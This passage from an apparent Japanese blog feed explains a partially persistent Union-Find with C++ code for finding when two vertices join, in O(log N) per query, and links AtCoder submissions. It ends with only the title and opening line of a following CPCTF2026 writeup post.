<p>&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x3067;&#x306F;&#x3001;&#x7D4C;&#x8DEF;&#x5727;&#x7E2E;&#x3092;&#x884C;&#x308F;&#x305A;&#x306B; Union by size &#x307E;&#x305F;&#x306F; Union by rank &#x3092;&#x7528;&#x3044;&#x307E;&#x3059;&#x3002;&#x3053;&#x3053;&#x3067;&#x7D4C;&#x8DEF;&#x5727;&#x7E2E;&#x3092;&#x884C;&#x308F;&#x306A;&#x3044;&#x5834;&#x5408;&#x3001;&#x300C;&#x4E00;&#x5EA6;&#x305D;&#x306E;&#x9802;&#x70B9;&#x304C;&#x6839;&#x306B;&#x306A;&#x3063;&#x305F;&#x3089;&#x305D;&#x308C;&#x4EE5;&#x964D;&#x306E;&#x5909;&#x66F4;&#x3092;&#x53D7;&#x3051;&#x306A;&#x3044;&#x300D;&#x3068;&#x3044;&#x3046;&#x6027;&#x8CEA;&#x304C;&#x6210;&#x308A;&#x7ACB;&#x3061;&#x307E;&#x3059;&#x3002;</p>
<p>&#x305D;&#x3053;&#x3067;&#x3001;<code>Union</code> &#x64CD;&#x4F5C;&#x306B;&#x3088;&#x3063;&#x3066;&#x6839;&#x3078;&#x306E;&#x8FBA;&#x304C;&#x751F;&#x3048;&#x308B;&#x3068;&#x304D;&#x306B;&#x3001;&#x300C;&#x305D;&#x306E;&#x8FBA;&#x304C;&#x3044;&#x3064;&#x8FFD;&#x52A0;&#x3055;&#x308C;&#x305F;&#x304B;&#x300D;&#x3082;&#x8A18;&#x9332;&#x3057;&#x307E;&#x3059;&#x3002;(&#x307E;&#x3060;&#x305D;&#x306E;&#x9802;&#x70B9;&#x304B;&#x3089;&#x8FBA;&#x304C;&#x751F;&#x3048;&#x3066;&#x306A;&#x3044;&#x5834;&#x5408;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">&#x221E;</span></span></span></span> &#x3092;&#x66F8;&#x304D;&#x8FBC;&#x307F;&#x307E;&#x3059;&#x3002;)</p>
<p>&#x30A4;&#x30E1;&#x30FC;&#x30B8;&#x56F3;&#xFF1A;<br>
<img src="https://trap.jp/content/images/2026/04/img20260421101605.jpg" alt="&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind &#x3067; Fastest &#x3092;&#x53D6;&#x3063;&#x305F;&#x8A71;" loading="lazy"></p>
<p>&#x4E0A;&#x56F3;&#x306F;&#x3001;&#x4F8B;&#x3048;&#x3070;</p>
<pre class="blog-code"><code class="lang-txt">6 7
2 5
4 3
2 8
1 7
1 2
</code></pre>
<p>&#x3068;&#x3044;&#x3046;Union&#x306E;&#x904E;&#x7A0B;&#x306B;&#x3088;&#x3063;&#x3066;&#x5F97;&#x3089;&#x308C;&#x308B;&#x72B6;&#x614B;&#x3067;&#x3059;&#x3002;</p>
<p>&#x3053;&#x306E;&#x56F3;&#x304B;&#x3089; <code>root(x,t)</code> &#x3092;&#x6C42;&#x3081;&#x308B;&#x3068;&#x304D;&#x306F;&#x3001;&#x300C;&#x6642;&#x523B;<code>t</code>&#x307E;&#x3067;&#x306B;&#x5F35;&#x3089;&#x308C;&#x305F;&#x8FBA;&#x3092;&#x8FBF;&#x308C;&#x308B;&#x3060;&#x3051;&#x3060;&#x3069;&#x3063;&#x3066;&#x4E0A;&#x306B;&#x3044;&#x304F;&#x300D;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x307E;&#x3059;&#x3002;&#x4F8B;&#x3048;&#x3070;&#x3001;<code>root(4, 5)</code> &#x3092;&#x6C42;&#x3081;&#x308B;&#x3068;&#x304D;&#x306F;&#x3001;&#x9802;&#x70B9;2&#x304B;&#x3089;&#x3001;&#x6642;&#x523B;5&#x4EE5;&#x4E0B;&#x3067;&#x5F35;&#x3089;&#x308C;&#x305F;&#x8FBA;&#x3067;&#x3042;&#x308B;&#x9650;&#x308A;&#x4E0A;&#x306B;&#x767B;&#x3063;&#x3066;&#x884C;&#x304D;&#x307E;&#x3059;&#x3002;&#x305D;&#x3046;&#x3059;&#x308B;&#x3068;&#x9802;&#x70B9;2&#x2192;&#x9802;&#x70B9;5&#x306F;&#x884C;&#x3051;&#x307E;&#x3059;&#x304C;&#x3001;&#x9802;&#x70B9;5&#x2192;&#x9802;&#x70B9;7&#x306F;&#x884C;&#x3051;&#x307E;&#x305B;&#x3093;&#x3002;&#x3088;&#x3063;&#x3066;&#x3001;&#x9802;&#x70B9;5&#x3067;&#x6B62;&#x307E;&#x308B;&#x306E;&#x3067; <code>root(4, 5) = 5</code> &#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x4E0A;&#x306B;&#x4E0A;&#x304C;&#x308B;&#x51E6;&#x7406;&#x306F;&#x9AD8;&#x3005;&#x6728;&#x306E;&#x9AD8;&#x3055;&#x3060;&#x3051;&#x884C;&#x308F;&#x308C;&#x307E;&#x3059;&#x304C;&#x3001;Union by size &#x3088;&#x308A;&#x9AD8;&#x3055;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x306A;&#x306E;&#x3067;&#x3001;<code>root</code> &#x306E;&#x8A08;&#x7B97;&#x91CF;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p><code>root(x, t)</code> &#x3092;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308C;&#x3070;&#x3001;<code>same(x, y, t)</code> &#x306E;&#x5224;&#x5B9A;&#x3082;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x8A73;&#x7D30;&#x306A;&#x5B9F;&#x88C5;&#x306B;&#x95A2;&#x3057;&#x3066;&#x306F;&#x3001;&#x4E0B;&#x306E;&#x53C2;&#x8003;&#x3092;&#x898B;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<p>&#x4EF6;&#x306E;&#x554F;&#x984C;&#x306F;&#x3001;&#x4EE5;&#x4E0A;&#x306E;&#x6A5F;&#x80FD;&#x3092;&#x6301;&#x3064;&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x3092;&#x4F7F;&#x3044;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x3092;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;&#x30AF;&#x30A8;&#x30EA;&#x3042;&#x305F;&#x308A; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-keyword">struct</span> <span class="hljs-title class_">PartiallyPersistentUnionFind</span>{
    vector&lt;<span class="hljs-type">int</span>&gt; parent;
    vector&lt;<span class="hljs-type">int</span>&gt; marge_times;
    <span class="hljs-type">int</span> cur_time;
    <span class="hljs-keyword">constexpr</span> <span class="hljs-type">static</span> <span class="hljs-type">int</span> inf = <span class="hljs-number">1</span>&lt;&lt;<span class="hljs-number">30</span>;

    <span class="hljs-built_in">PartiallyPersistentUnionFind</span>(<span class="hljs-type">int</span> n) : <span class="hljs-built_in">parent</span>(n,<span class="hljs-number">-1</span>), <span class="hljs-built_in">marge_times</span>(n, inf) ,<span class="hljs-built_in">cur_time</span>(<span class="hljs-number">0</span>) {}


    <span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">root</span><span class="hljs-params">(<span class="hljs-type">int</span> x, <span class="hljs-type">int</span> t = inf<span class="hljs-number">-1</span>)</span></span>{
        <span class="hljs-keyword">while</span> (<span class="hljs-keyword">this</span>-&gt;marge_times[x] &lt;= t){
            x = <span class="hljs-keyword">this</span>-&gt;parent[x];
        }
        <span class="hljs-keyword">return</span> x;
    }


    <span class="hljs-function"><span class="hljs-type">bool</span> <span class="hljs-title">marge</span><span class="hljs-params">(<span class="hljs-type">int</span> x,<span class="hljs-type">int</span> y)</span></span>{
        <span class="hljs-keyword">this</span>-&gt;cur_time++;
        <span class="hljs-type">int</span> xr = <span class="hljs-built_in">root</span>(x),yr = <span class="hljs-built_in">root</span>(y);
        <span class="hljs-keyword">if</span> (xr == yr){
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>-&gt;parent[xr] &gt; <span class="hljs-keyword">this</span>-&gt;parent[yr]){
            <span class="hljs-built_in">swap</span>(xr,yr);
        }
        <span class="hljs-keyword">this</span>-&gt;parent[xr] += <span class="hljs-keyword">this</span>-&gt;parent[yr];
        <span class="hljs-keyword">this</span>-&gt;parent[yr] = xr;
        <span class="hljs-keyword">this</span>-&gt;marge_times[yr] = <span class="hljs-keyword">this</span>-&gt;cur_time;
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-type">bool</span> <span class="hljs-title">same</span><span class="hljs-params">(<span class="hljs-type">int</span> x,<span class="hljs-type">int</span> y,<span class="hljs-type">int</span> t = inf<span class="hljs-number">-1</span>)</span></span>{
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">root</span>(x,t) == <span class="hljs-built_in">root</span>(y,t);
    }

    <span class="hljs-comment">// &#x3053;&#x308C;&#x306F;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x306B;&#x4F9D;&#x308B;&#x3082;&#x306E;&#x3067;&#x3001;O(log N log M)</span>
    <span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">get_merge_time</span><span class="hljs-params">(<span class="hljs-type">int</span> x,<span class="hljs-type">int</span> y)</span></span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">root</span>(x) != <span class="hljs-built_in">root</span>(y)){
            <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
        }
        <span class="hljs-type">int</span> ng = <span class="hljs-number">0</span>, ok = <span class="hljs-keyword">this</span>-&gt;cur_time;
        <span class="hljs-keyword">while</span> (ok - ng &gt; <span class="hljs-number">1</span>){
            <span class="hljs-type">int</span> mid = (ok + ng) / <span class="hljs-number">2</span>;
            <span class="hljs-keyword">if</span> (<span class="hljs-built_in">same</span>(x,y,mid)){
                ok = mid;
            } <span class="hljs-keyword">else</span> {
                ng = mid;
            }
        }
        <span class="hljs-keyword">return</span> ok;
    }


};
</code></pre>
<p>&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x306B;&#x3088;&#x308B;&#x63D0;&#x51FA;&#xFF08;68ms&#xFF09;&#xFF1A;<a href="https://atcoder.jp/contests/code-thanks-festival-2017/submissions/75149691?ref=trap.jp">https://atcoder.jp/contests/code-thanks-festival-2017/submissions/75149691</a></p>
<h2 id="%E5%90%8C%E3%81%98%E9%80%A3%E7%B5%90%E6%88%90%E5%88%86%E3%81%AB%E3%81%AA%E3%81%A3%E3%81%9F%E3%82%BF%E3%82%A4%E3%83%9F%E3%83%B3%E3%82%B0%E3%81%AE%E5%8F%96%E5%BE%97">&#x540C;&#x3058;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306B;&#x306A;&#x3063;&#x305F;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x53D6;&#x5F97;</h2>
<p>&#x3042;&#x308B;2&#x3064;&#x304C;&#x540C;&#x3058;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306A;&#x3063;&#x305F;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x306F;&#x3001;&#x3064;&#x307E;&#x308A; <code>root(x, t) == root(y, t)</code> &#x304C;&#x4E00;&#x81F4;&#x3059;&#x308B;&#x6700;&#x5C0F;&#x306E; <code>t</code> &#x3092;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x3067;&#x3059;&#x3002;&#x3053;&#x308C;&#x306F; <code>root</code> &#x306E;&#x5185;&#x90E8;&#x5B9F;&#x88C5;&#x3068;&#x540C;&#x69D8;&#x306B;&#x4E0A;&#x306B;&#x4E0A;&#x3063;&#x3066;&#x3044;&#x304F;&#x3053;&#x3068;&#x3067;&#x89E3;&#x6C7A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x8A00;&#x3044;&#x63DB;&#x3048;&#x308C;&#x3070;&#x3001;&#x300C;&#x3053;&#x306E;&#x6642;&#x523B;&#x307E;&#x3067;&#x306F;&#x304F;&#x3063;&#x3064;&#x3044;&#x3066;&#x306A;&#x3044;&#x300D;&#x3068;&#x3044;&#x3046;&#x4E0B;&#x754C;&#x3092;&#x66F4;&#x65B0;&#x3057;&#x3066;&#x3044;&#x304F;&#x3053;&#x3068;&#x306B;&#x3088;&#x3063;&#x3066;&#x6C42;&#x3081;&#x307E;&#x3059;&#x3002;</p>
<p>&#x9802;&#x70B9; x &#x3068;&#x9802;&#x70B9; y &#x304C;&#x3042;&#x308B;&#x3068;&#x3057;&#x307E;&#x3059;&#x3002;&#x307E;&#x305A;&#x6642;&#x523B; 0 &#x3067;&#x306F;&#x540C;&#x3058;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306B;&#x5C5E;&#x3057;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;<br>
&#x3053;&#x306E;&#x3068;&#x304D;&#x3001;2&#x3064;&#x306E;&#x9802;&#x70B9;&#x304B;&#x3089;&#x751F;&#x3048;&#x308B;&#x8FBA;&#x306E;&#x6642;&#x523B;&#x306B;&#x6CE8;&#x76EE;&#x3057;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x6642;&#x523B;&#x306E;&#x5C0F;&#x3055;&#x3044;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">&#x2032;</span></span></span></span></span></span></span></span></span></span></span></span> &#x3068;&#x3057;&#x305F;&#x3068;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8247em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">im</span><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span></span></span></span></span> &#x672A;&#x6E80;&#x306E;&#x6642;&#x523B;&#x3067;&#x306F;&#x3053;&#x306E;2&#x70B9;&#x306F;&#x9023;&#x7D50;&#x3057;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;&#x8A00;&#x3044;&#x63DB;&#x3048;&#x308C;&#x3070;&#x6642;&#x523B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">&#x2032;</span></span></span></span></span></span></span></span></span></span></span></span> &#x4EE5;&#x964D;&#x306B;&#x306A;&#x3063;&#x3066;&#x304B;&#x3089;&#x540C;&#x3058;&#x9023;&#x7D50;&#x6210;&#x5206;&#x306B;&#x5165;&#x308B;&#x3001;&#x3068;&#x3044;&#x3046;&#x4E0B;&#x9650;&#x304C;&#x5206;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x4E0B;&#x9650;&#x4EE5;&#x964D;&#x3067;&#x306F;&#x3001;<code>root</code> &#x306E;&#x63A2;&#x7D22;&#x3067;&#x305D;&#x306E;&#x8FBA;&#x3092;&#x901A;&#x308B;&#x306F;&#x305A;&#x3067;&#x3059;&#x3002;&#x3088;&#x3063;&#x3066;&#x3001;&#x5C0F;&#x3055;&#x3044;&#x65B9;&#x306E;&#x70B9;&#x3092;&#x66F4;&#x65B0;&#x3057;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x3092;&#x7E70;&#x308A;&#x8FD4;&#x3057;&#x3001;2&#x3064;&#x306E;&#x70B9;&#x304C;&#x4E00;&#x81F4;&#x3057;&#x305F;&#x3068;&#x3053;&#x308D;&#x304C;&#x6C42;&#x3081;&#x308B;&#x70B9;&#x3067;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-cpp">    <span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">get_merge_time</span><span class="hljs-params">(<span class="hljs-type">int</span> x,<span class="hljs-type">int</span> y)</span></span>{
        <span class="hljs-type">int</span> t = <span class="hljs-built_in">min</span>(<span class="hljs-keyword">this</span>-&gt;marge_times[x],<span class="hljs-keyword">this</span>-&gt;marge_times[y]);

        <span class="hljs-keyword">while</span> (x != y &amp;&amp; t != inf){
            <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>-&gt;marge_times[x] &gt; <span class="hljs-keyword">this</span>-&gt;marge_times[y]){
                <span class="hljs-built_in">swap</span>(x,y);
            }
            t = <span class="hljs-keyword">this</span>-&gt;marge_times[x];
            <span class="hljs-keyword">if</span> (t == inf){
                <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
            }
            x = <span class="hljs-keyword">this</span>-&gt;parent[x];
        }
        <span class="hljs-keyword">return</span> (t==inf ? <span class="hljs-number">-1</span> : t);
    }
</code></pre>
<p>&#x3053;&#x308C;&#x306B;&#x3088;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord text"><span class="mord cjk_fallback">&#x6728;&#x306E;&#x9AD8;&#x3055;</span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x3089;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x63D0;&#x51FA;&#xFF08;28ms&#xFF09;&#xFF1A;<a href="https://atcoder.jp/contests/code-thanks-festival-2017/submissions/75149602?ref=trap.jp">https://atcoder.jp/contests/code-thanks-festival-2017/submissions/75149602</a></p>
<p>&#x305D;&#x3057;&#x3066;&#x3001;&#x3053;&#x306E;&#x5B9F;&#x88C5;&#x3067; FC &#x304C;&#x53D6;&#x308C;&#x307E;&#x3057;&#x305F;&#xFF01;<br>
&#x81EA;&#x5206;&#x306E;&#x6B21;&#x306B;FC&#x306E;&#x4EBA;&#x306E;&#x5B9F;&#x88C5;&#x3082;&#x3053;&#x308C;&#x3068;&#x540C;&#x3058;&#x611F;&#x3058;&#x3067;&#x3057;&#x305F;&#x3002;&#x5B9A;&#x6570;&#x500D;&#x304C;&#x3044;&#x3044;&#x306E;&#x306F;...&#x4F55;&#x3067;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#xFF1F;<br>
&#x3068;&#x306B;&#x304B;&#x304F; FC &#x304C;&#x53D6;&#x308C;&#x3066;&#x826F;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;</p>
<h2 id="%E4%BD%99%E8%AB%87">&#x4F59;&#x8AC7;</h2>
<p>&#x305D;&#x3082;&#x305D;&#x3082;&#x50D5;&#x306F; Pythonista &#x306A;&#x306E;&#x3067;&#x3001;Python&#x3067;&#x65E9;&#x3044;&#x30C7;&#x30FC;&#x30BF;&#x69CB;&#x9020;&#x306E;&#x65B9;&#x304C;&#x5B09;&#x3057;&#x3093;&#x3067;&#x3059;&#x3088;&#x306D;&#x3002;<br>
&#x3063;&#x3066;&#x3053;&#x3068;&#x3067;&#x3001;Python&#x3067;&#x307B;&#x307C;&#x540C;&#x3058;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x3044;&#x305F;&#x3051;&#x308C;&#x3069;&#x3082; FC &#x306B;&#x306F;&#x306A;&#x308A;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;..&#x306A;&#x3093;&#x3067;&#x3084;&#xFF1F;<br>
&#x63D0;&#x51FA;&#xFF1A;<a href="https://atcoder.jp/contests/code-thanks-festival-2017/submissions/74974184?ref=trap.jp">https://atcoder.jp/contests/code-thanks-festival-2017/submissions/74974184</a></p>
<h2 id="%E7%B5%90%E8%AB%96">&#x7D50;&#x8AD6;</h2>
<p>&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x3092;&#x4F7F;&#x3063;&#x3066;&#x4E8C;&#x5206;&#x63A2;&#x7D22;&#x3059;&#x308B;&#x3068;&#x304D;&#x3001;&#x672C;&#x5F53;&#x306B;&#x305D;&#x306E;log&#x3063;&#x3066;&#x5FC5;&#x8981;&#x3067;&#x3059;&#x304B;&#xFF1F;&#x3001;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x3055;&#x305B;&#x3089;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x3053;&#x306E;&#x624B;&#x6CD5;&#x3092;&#x4F7F;&#x3048;&#x3070;&#x3001;&#x4EFB;&#x610F;&#x6642;&#x523B;&#x3067;&#x306E; x &#x304C;&#x542B;&#x307E;&#x308C;&#x308B;&#x30B5;&#x30A4;&#x30BA;&#x3092;&#x53D6;&#x5F97;&#x3067;&#x304D;&#x308B;&#x3088;&#x3046;&#x306A;&#x6C38;&#x7D9A;&#x90E8;&#x5206;UnionFind&#x3092;&#x7528;&#x3044;&#x3066;&#x3001;&#x300C;&#x3042;&#x308B;&#x9802;&#x70B9;<code>x</code>&#x3092;&#x542B;&#x3080;&#x9023;&#x7D50;&#x6210;&#x5206;&#x304C;&#x3042;&#x308B;&#x30B5;&#x30A4;&#x30BA;<code>k</code>&#x4EE5;&#x4E0A;&#x306B;&#x306A;&#x308B;&#x6700;&#x5C0F;&#x306E;&#x6642;&#x523B;&#x300D;&#x3068;&#x304B;&#x3082;&#x3001;&#x540C;&#x69D8;&#x306B;&#x6728;&#x3092;&#x4E0A;&#x308A;&#x306A;&#x304C;&#x3089;&#x4E0B;&#x9650;&#x3092;&#x66F4;&#x65B0;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;&#x30AF;&#x30A8;&#x30EA;&#x3042;&#x305F;&#x308A;&#x306E;&#x8A08;&#x7B97;&#x91CF;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x3089;&#x308C;&#x307E;&#x3059;&#x3002;&#x30B5;&#x30A4;&#x30BA;&#x53D6;&#x5F97;&#x53EF;&#x80FD;&#x306A;&#x6C38;&#x7D9A;UnionFind&#x306E;&#x5B9F;&#x88C5;&#x306F;&#x53C2;&#x8003;&#x3092;&#x898B;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<h2 id="%E5%8F%82%E8%80%83">&#x53C2;&#x8003;</h2>
<ul>
<li><a href="https://qiita.com/alumite14/items/f4c355720f2a6da88ca5?ref=trap.jp">&#x4EFB;&#x610F;&#x6642;&#x9593;&#x306E;&#x8981;&#x7D20;&#x5217;&#x6319;&#x53EF;&#x80FD;&#x306A;&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x306E;&#x5B9F;&#x88C5;&#x4F8B;</a>
<ul>
<li>&#x90E8;&#x5206;&#x6C38;&#x7D9A;UnionFind&#x306E;&#x5B9F;&#x88C5;&#x304C;&#x56F3;&#x89E3;&#x3055;&#x308C;&#x3066;&#x3044;&#x3066;&#x5206;&#x304B;&#x308A;&#x3084;&#x3059;&#x3044;&#x3067;&#x3059;</li>
<li>&#x4EFB;&#x610F;&#x6642;&#x523B;&#x306E;&#x30B5;&#x30A4;&#x30BA;&#x53D6;&#x5F97;&#x306B;&#x3082;&#x5BFE;&#x5FDC;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</li>
</ul>
</li>
</ul>
<p>&#x660E;&#x65E5;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x306F; <a href="https://trap.jp/author/n3/">&#x4FFA;</a> &#x3067;&#x3059;&#xFF01;&#x304A;&#x697D;&#x3057;&#x307F;&#x306B;&#xFF5E;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[CPCTF2026参加記/writeup（新入生2位）]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 49&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#xFF01;</p>
<!--kg-card-end: markdown--><p>&#x3000;traP&#x306E;&#x4E3B;&#x50AC;&#x3059;&#x308B;CPCTF&#x306B;&#x51FA;&#x5834;&#x3057;&#x3001;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305F;</p>]]></description><link>https://trap.jp/post/2922/</link><guid isPermaLink="false">69e6ca01e2394c00016e947b</guid><dc:creator><![CDATA[blueberry1001]]></dc:creator><pubDate>Wed, 22 Apr 2026 15:00:00 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/screenshot-2026-04-23-09.27.48.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/04/screenshot-2026-04-23-09.27.48.png" alt="CPCTF2026&#x53C2;&#x52A0;&#x8A18;/writeup&#xFF08;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#xFF09;"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 49&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#xFF01;</p>
